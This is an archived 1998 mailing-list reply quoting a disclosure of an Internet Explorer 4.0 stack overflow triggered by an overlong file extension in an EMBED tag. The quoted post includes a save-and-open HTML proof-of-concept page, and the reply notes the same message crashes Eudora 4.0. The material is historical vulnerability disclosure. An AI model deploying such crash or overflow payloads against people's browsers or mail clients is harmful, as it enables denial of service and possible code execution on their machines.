Re: MSIE buffer overrun

From: Christian Holmqvist (pt95choat_private-R.SE)
Date: Fri Mar 20 1998 - 08:13:10 PST

  • Next message: Rommetveit Per Stuve: "Re: IE 4 Bug (Crash with frames)"

    On Fri, 20 Mar 1998, Georgi Guninski wrote:
    Hi!
    
    This not only crashes MSIE4 but also Eudora4.0 (yes the mail reader...)
    I can't read this mail with out a crash. I had to read it in pine on a
    unix system.
    
    Cheers Christian
    
    > Microsoft Internet Explorer 4.0 (don't know for other versions)
    > can be crashed and eventually made execute arbitrary code
    > with a little help of the <EMBED> tag.
    >
    > The following:
    > <EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
    > opens a dialog box and closes IE 4.0.
    > It seems that the long file extension causes stack overrun.
    >
    > The stack is smashed - full with our values, EIP is also ours and CS=SS.
    > So probably a string could be constructed, executing code at the
    > client's machine.
    >
    > Solution: Do not browse hostile pages.
    > To try this: http://www.geocities.com/ResearchTriangle/1711/msie.html
    >
    >
    > Georgi Guninski
    > http://www.geocities.com/ResearchTriangle/1711
    >
    > -----------------------cut here and save as
    > crashmsie.html---------------------
    > <HTML>
    > Trying to crash IE 4.0
    > <EMBED
    > SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
    >                                                                40
    > 80                                                                               160                    170                 180                 190          200
    > </HTML>
    >
    
    Mvh Christian
    
    /~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\
    | Christian Holmqvist            |
    | Email: pt95choat_private-r.se |
    | Tele: 0457-17754               |
    \________________________________/
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:46:25 PDT